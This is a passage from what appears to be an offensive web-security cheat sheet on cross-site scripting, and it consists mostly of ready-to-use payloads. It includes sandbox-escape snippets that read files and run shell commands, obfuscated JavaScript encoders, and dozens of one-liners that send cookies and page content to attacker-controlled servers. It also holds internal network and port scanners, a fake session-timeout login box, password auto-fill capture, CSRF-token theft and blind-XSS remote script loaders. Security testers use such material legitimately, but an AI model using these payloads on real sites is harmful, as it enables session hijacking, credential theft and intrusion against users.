When something like **`"some {{template}} data".replace("{{template}}", <user_input>)`** is used. The attacker could use [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) to try to bypass some protections: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
For example in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), this was used to **scape a JSON string** inside a script and execute arbitrary code.
### Chrome Cache to XSS
{% content-ref url="chrome-cache-to-xss.md" %}
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
{% endcontent-ref %}
### XS Jails Escape
If you are only have a limited set of chars to use, check these other valid solutions for XSJail problems:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
If **everything is undefined** before executing untrusted code (like in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) it's possible to generate useful objects "out of nothing" to abuse the execution of arbitrary untrusted code:
* Using import()
```javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
```
* Accessing `require` indirectly
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modules are wrapped by Node.js within a function, like this:
```javascript
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
```
Therefore, if from that module we can **call another function**, it's possible to use `arguments.callee.caller.arguments[1]` from that function to access **`require`**: 
{% code overflow="wrap" %}
```javascript
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
```
{% endcode %}
In a similar way to the previous example, it's possible to **use error handlers** to access the **wrapper** of the module and get the **`require`** function:
```javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
```
### Obfuscation & Advanced Bypass
* **Different obfuscations in one page:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
* [http://www.jsfuck.com/](http://www.jsfuck.com)
* More sofisticated JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
* [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
* [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
* [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
```javascript
//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
```
```javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
```
```javascript
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
```
```javascript
//aaencode
ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻ //*´∇｀*/ ['_']; o=(ﾟｰﾟ) =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');
```
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## XSS common payloads
### Several payloads in 1
{% content-ref url="steal-info-js.md" %}
[steal-info-js.md](steal-info-js.md)
{% endcontent-ref %}
### Retrieve Cookies
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
{% hint style="info" %}
You **won't be able to access the cookies from JavaScript** if the HTTPOnly flag is set in the cookie. But here you have [some ways to bypass this protection](../hacking-with-cookies/#httponly) if you are lucky enough.
{% endhint %}
### Steal Page Content
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
```
### Find internal IPs
```html
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
```
### Port Scanner (fetch)
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### Port Scanner (websockets)
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
```
_Short times indicate a responding port_ _Longer times indicate no response._
Review the list of ports banned in Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) and in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Box to ask for credentials
```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Auto-fill passwords capture
```javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
### Keylogger
Just searching in github I found a few different ones:
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
* You can also use metasploit `http_javascript_keylogger`
### Stealing CSRF tokens
```javascript
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&[email protected]')
};
</script>
```
### Stealing PostMessage messages
```markup
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
```
### Abusing Service Workers
{% content-ref url="abusing-service-workers.md" %}
[abusing-service-workers.md](abusing-service-workers.md)
{% endcontent-ref %}
### Accessing Shadow DOM
{% content-ref url="shadow-dom.md" %}
[shadow-dom.md](shadow-dom.md)
{% endcontent-ref %}
### Polyglots
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
### Blind XSS payloads
You can also use: [https://xsshunter.com/](https://xsshunter.com)
```markup
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
### Regex - Access Hidden Content
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
```javascript
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
```
### Brute-Force List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
## XSS Abusing other vulnerabilities
### XSS in Markdown
Can inject Markdown code that will be renderer? Maybe you you can get XSS! Check:
{% content-ref url="xss-in-markdown.md" %}
[xss-in-markdown.md](xss-in-markdown.md)
{% endcontent-ref %}
### XSS to SSRF
Got XSS on a **site that uses caching**? Try **upgrading that to SSRF** through Edge Side Include Injection with this payload:
```python
<esi:include src="http://yoursite.com/capture" />
```
Use it to bypass cookie restrictions, XSS filters and much more!\
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md).
### XSS in dynamic created PDF
If a web page is creating a PDF using user controlled input, you can try to **trick the bot** that is creating the PDF into **executing arbitrary JS code**.\
So, if the **PDF creator bot finds** some kind of **HTML** **tags**, it is going to **interpret** them, and you can **abuse** this behaviour to cause a **Server XSS**.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %}
If you cannot inject HTML tags it could be worth it to try to **inject PDF data**:
{% content-ref url="pdf-injection.md" %}
[pdf-injection.md](pdf-injection.md)
{% endcontent-ref %}
### XSS in Amp4Email
AMP is a technology known for developing super fast web pages on mobile clients. **AMP is a set of HTML tags backed by JavaScript** that easily enables functionality with an added focus on performance and security. There are [AMP components](https://amp.dev/documentation/components/?format=websites) for everything from carousels, to responsive form elements, to retrieving fresh content from remote endpoints.
The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format provides [a subset of AMP components](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md) that you can use in email messages. Recipients of AMP emails can view and interact with the AMP components directly in the email.
Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
### XSS uploading files (svg)
Upload as an image a file like the following one (from [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```markup
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
